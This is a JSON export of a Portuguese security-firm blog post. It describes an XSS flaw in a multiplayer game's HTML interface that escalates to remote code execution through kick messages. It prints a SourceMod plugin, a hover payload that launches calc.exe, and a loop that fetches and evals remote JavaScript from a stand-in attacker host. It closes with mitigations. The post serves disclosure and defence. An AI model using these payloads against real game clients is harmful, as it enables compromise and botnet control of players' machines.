{"id":159,"date":"2025-02-10T18:27:41","date_gmt":"2025-02-10T18:27:41","guid":{"rendered":"https:\/\/fikresekhel.com\/blog\/?p=159"},"modified":"2025-02-10T18:27:43","modified_gmt":"2025-02-10T18:27:43","slug":"analise-tecnica-avancada-xss-no-ui-de-jogo-multiplayer-levando-a-execucao-remota-de-codigo-rce","status":"publish","type":"post","link":"https:\/\/fikresekhel.com\/blog\/nossos-cases\/analise-tecnica-avancada-xss-no-ui-de-jogo-multiplayer-levando-a-execucao-remota-de-codigo-rce\/","title":{"rendered":"An\u00e1lise T\u00e9cnica Avan\u00e7ada: XSS no UI de Jogo Multiplayer Levando \u00e0 Execu\u00e7\u00e3o Remota de C\u00f3digo (RCE)"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>Resumo T\u00e9cnico<\/strong><\/h2>\n\n\n\n<p>Uma vulnerabilidade cr\u00edtica foi descoberta em um&nbsp;<strong>jogo multiplayer de uma startup internacional<\/strong>, explorando sua&nbsp;<strong>interface UI baseada em HTML\/CSS\/JS<\/strong>. O ataque permitia que um advers\u00e1rio&nbsp;<strong>inje\u00e7\u00f5esse c\u00f3digo HTML e JavaScript malicioso<\/strong>, resultando em&nbsp;<strong>execu\u00e7\u00e3o remota de c\u00f3digo (RCE)<\/strong>&nbsp;atrav\u00e9s de uma falha no processamento de mensagens de desconex\u00e3o.<\/p>\n\n\n\n<p>A explora\u00e7\u00e3o se deu por meio do&nbsp;<strong>atributo&nbsp;<\/strong><code><strong>html=\"true\"<\/strong><\/code>&nbsp;em um componente da UI, permitindo a execu\u00e7\u00e3o arbitr\u00e1ria de c\u00f3digo JavaScript e sua persist\u00eancia no ambiente do jogo. Isso possibilitava&nbsp;<strong>comprometer clientes remotamente<\/strong>&nbsp;ao for\u00e7\u00e1-los a interagir com mensagens de kick contendo payloads maliciosos.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Detalhamento da Vulnerabilidade<\/strong><\/h2>\n\n\n\n<p>A falha ocorre na renderiza\u00e7\u00e3o da interface do jogo, permitindo que entrada controlada por usu\u00e1rios seja interpretada como&nbsp;<strong>c\u00f3digo HTML v\u00e1lido<\/strong>. O erro se origina do seguinte trecho de c\u00f3digo encontrado no arquivo de layout da interface:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;Label html=\"true\" text=\"&amp;lt;span class='chat-entry__name'&amp;gt;{s:player_name}&amp;lt;\/span&amp;gt; {s:msg}\" acceptsinput=\"true\" \/&gt;<\/code><\/pre>\n\n\n\n<p>Esse&nbsp;<strong>Label<\/strong>, com&nbsp;<code>html=\"true\"<\/code>, faz com que qualquer texto inserido na vari\u00e1vel&nbsp;<code>{s:msg}<\/code>&nbsp;seja interpretado como HTML. Isso abre caminho para&nbsp;<strong>inje\u00e7\u00e3o de c\u00f3digo arbitr\u00e1rio<\/strong>.<\/p>\n\n\n\n<p>A explora\u00e7\u00e3o completa foi encontrada em outro arquivo&nbsp;<code>layout\/popups\/popup_generic.xml<\/code>, onde o mesmo erro se repetia no contexto de mensagens de desconex\u00e3o:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;Label html=\"true\" text=\"{s:disconnect_message}\" \/&gt;<\/code><\/pre>\n\n\n\n<p>Essa falha permitia que&nbsp;<strong>um atacante enviasse mensagens de kick contendo c\u00f3digo JavaScript<\/strong>&nbsp;e que fosse interpretado automaticamente no cliente da v\u00edtima.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Explora\u00e7\u00e3o &#8211; PoC (Proof of Concept)<\/strong><\/h2>\n\n\n\n<p>A explora\u00e7\u00e3o foi confirmada em um&nbsp;<strong>servidor dedicado customizado<\/strong>. Para explorar a vulnerabilidade, um atacante poderia configurar um servidor do jogo e for\u00e7ar a execu\u00e7\u00e3o remota do c\u00f3digo malicioso atrav\u00e9s de uma mensagem de kick customizada:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>1. C\u00f3digo do Plugin Malicioso para o Servidor<\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;sourcemod&gt;\n\n#pragma semicolon 1\n#pragma newdecls required\n\npublic void OnPluginStart()\n{\n    RegConsoleCmd(\"sm_testkick\", Cmd_Kick);\n}\n\npublic Action Cmd_Kick(int client, int args)\n{\n    if (args &lt;= 0) {\n        PrintToChat(client, \"No arguments provided - Usage: !testkick &lt;Kick Message&gt;\");\n        return Plugin_Handled;\n    }\n\n    char full&#91;5120];\n    GetCmdArgString(full, sizeof(full));\n\n    for (int i = 0; i &lt; 5; i++) {\n        KickClient(client, full);\n    }\n    return Plugin_Handled;\n}<\/code><\/pre>\n\n\n\n<p>Este c\u00f3digo permite que&nbsp;<strong>qualquer mensagem seja injetada no kick do jogador<\/strong>, inclusive um payload XSS.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>2. Enviando o Payload para Explora\u00e7\u00e3o<\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>sm_testkick &lt;a onmouseover=\"javascript:SteamOverlayAPI.OpenExternalBrowserURL('file:\/\/C:\/Windows\/System32\/calc.exe')\"&gt;The remote host stopped receiving communications and closed the connection&lt;\/a&gt;<\/code><\/pre>\n\n\n\n<p>O comando acima for\u00e7a a v\u00edtima a executar&nbsp;<code><strong>calc.exe<\/strong><\/code>&nbsp;ao passar o mouse sobre a mensagem.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3. Criando um Ataque Persistente<\/strong><\/h3>\n\n\n\n<p>Para manter o controle sobre o cliente comprometido, o atacante poderia utilizar&nbsp;<strong>fun\u00e7\u00f5es ass\u00edncronas da UI<\/strong>, como&nbsp;<code>$.Schedule()<\/code>&nbsp;e&nbsp;<code>$.AsyncWebRequest()<\/code>, para estabelecer um canal remoto persistente:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$.Schedule(1, function() {\n    eval(\"$.AsyncWebRequest('http:\/\/malicioso.com\/payload.js', {complete: function(res) { eval(res); }});\");\n});<\/code><\/pre>\n\n\n\n<p>Isso permitiria ao atacante&nbsp;<strong>executar c\u00f3digo arbitr\u00e1rio continuamente<\/strong>&nbsp;no ambiente da v\u00edtima, transformando o exploit em um&nbsp;<strong>botnet de clientes infectados<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Impacto da Vulnerabilidade<\/strong><\/h2>\n\n\n\n<p>\ud83d\udea8&nbsp;<strong>Execu\u00e7\u00e3o Remota de C\u00f3digo (RCE):<\/strong>&nbsp;A falha possibilita que c\u00f3digo JavaScript arbitr\u00e1rio seja executado no cliente.<\/p>\n\n\n\n<p>\ud83d\udea8&nbsp;<strong>Comprometimento Total do Sistema:<\/strong>&nbsp;Utilizando a API do jogo, um atacante pode explorar caminhos locais do sistema para executar bin\u00e1rios arbitr\u00e1rios.<\/p>\n\n\n\n<p>\ud83d\udea8&nbsp;<strong>Botnet de Jogadores:<\/strong>&nbsp;Atacantes podem utilizar&nbsp;<code>eval()<\/code>&nbsp;e&nbsp;<code>$.AsyncWebRequest()<\/code>&nbsp;para manter&nbsp;<strong>conex\u00e3o remota persistente com m\u00faltiplos clientes infectados<\/strong>.<\/p>\n\n\n\n<p>\ud83d\udea8&nbsp;<strong>Engenharia Social:<\/strong>&nbsp;O ataque pode ser disfar\u00e7ado como uma mensagem de banimento falso, for\u00e7ando os usu\u00e1rios a interagir com a mensagem.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mitiga\u00e7\u00f5es e Recomenda\u00e7\u00f5es<\/strong><\/h2>\n\n\n\n<p>\u2714\ufe0f&nbsp;<strong>Remo\u00e7\u00e3o do Atributo&nbsp;<\/strong><code><strong>html=\"true\"<\/strong><\/code>&nbsp;de todas as interfaces UI do jogo.<\/p>\n\n\n\n<p>\u2714\ufe0f&nbsp;<strong>Sanitiza\u00e7\u00e3o de Entrada:<\/strong>&nbsp;Implementar fun\u00e7\u00f5es de escape para evitar execu\u00e7\u00e3o arbitr\u00e1ria de HTML dentro da interface do jogo.<\/p>\n\n\n\n<p>\u2714\ufe0f&nbsp;<strong>Restri\u00e7\u00e3o de Fun\u00e7\u00f5es Sens\u00edveis:<\/strong>&nbsp;APIs como&nbsp;<code>OpenExternalBrowserURL()<\/code>&nbsp;devem exigir permiss\u00f5es expl\u00edcitas para execu\u00e7\u00e3o.<\/p>\n\n\n\n<p>\u2714\ufe0f&nbsp;<strong>Monitoramento de Anomalias:<\/strong>&nbsp;Implementar logs e detec\u00e7\u00e3o de atividades suspeitas em servidores do jogo.<\/p>\n\n\n\n<p>\u2714\ufe0f&nbsp;<strong>Treinamento de Administradores:<\/strong>&nbsp;Para evitar a instala\u00e7\u00e3o de plugins maliciosos em servidores comunit\u00e1rios.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclus\u00e3o<\/strong><\/h2>\n\n\n\n<p>Esta explora\u00e7\u00e3o da&nbsp;<strong>interface UI de um jogo multiplayer<\/strong>&nbsp;demonstra&nbsp;<strong>como vulnerabilidades XSS podem ser escaladas para ataques de execu\u00e7\u00e3o remota de c\u00f3digo (RCE)<\/strong>. O ataque explorou&nbsp;<strong>a inje\u00e7\u00e3o de c\u00f3digo HTML em mensagens de desconex\u00e3o<\/strong>, permitindo a um atacante comprometer completamente clientes conectados a um servidor malicioso.<\/p>\n\n\n\n<p><strong>Refor\u00e7amos a import\u00e2ncia de pr\u00e1ticas seguras de codifica\u00e7\u00e3o para evitar ataques semelhantes em aplica\u00e7\u00f5es que utilizam frameworks baseados em HTML\/CSS\/JS.<\/strong><\/p>\n\n\n\n<p>\ud83d\udd39&nbsp;<strong>Seu jogo est\u00e1 protegido contra ataques XSS avan\u00e7ados?<\/strong><\/p>\n\n\n\n<p>\ud83d\udd39\u00a0<a href=\"https:\/\/wa.me\/5514998130671?text=Ol\u00e1,%20gostaria%20de%20mais%20informa\u00e7\u00f5es!\"><strong>Entre em contato e agende uma auditoria de seguran\u00e7a com nossos especialistas!<\/strong>\u00a0<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Resumo T\u00e9cnico Uma vulnerabilidade cr\u00edtica foi descoberta em [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":160,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-159","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-nossos-cases"],"_links":{"self":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/159","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/comments?post=159"}],"version-history":[{"count":1,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/159\/revisions"}],"predecessor-version":[{"id":161,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/159\/revisions\/161"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media\/160"}],"wp:attachment":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media?parent=159"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/categories?post=159"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/tags?post=159"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}